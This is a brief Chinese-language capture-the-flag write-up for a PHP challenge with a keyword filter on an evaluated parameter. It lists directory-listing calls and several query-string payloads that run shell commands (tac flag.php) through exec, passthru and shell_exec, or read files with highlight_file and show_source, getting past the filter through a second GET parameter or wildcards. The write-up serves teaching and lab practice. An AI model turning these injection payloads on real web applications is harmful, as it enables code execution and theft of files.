信息收集
題目將flag system php不區分大小寫地過濾了
解題
前置知識
print_r:php中用于打印數組
scandir:php中用于獲取指點目錄下的所以文件目錄名
getcwd:獲取當前目錄
目錄獲取
這里提供兩種方法
print_r(scandir(getcwd()));
print_r(scandir("."));
獲取flag
我只提供一些思路,起到拋磚引玉的作用,我也不可能列舉所有的方案
方法1
只過濾$c
,我們只要不在c里寫那些關鍵詞就可以了
可以在php里執行系統指令的函數有:exec(), system(), passthru(), shell_exec()
這四個函數詳細情況參考https://www.jb51.net/program/2850207z8.htm
ban掉了system還有三個,任選一個即可
?c=exec($_GET[1], $a);print_r($a);&1=tac flag.php
?c=passthru($_GET[1]);&1=tac flag.php
?c=echo shell_exec($_GET[1]);&1=tac flag.php
?c=echo shell_exec("tac fla*"); //tac fla?????
方法2
不使用系統指令,使用php函數同樣可以
?c=highlight_file($_GET[1]);&1=flag.php
?c=show_source($_GET[1]);&1=flag.php
web ?? 目錄 ?? web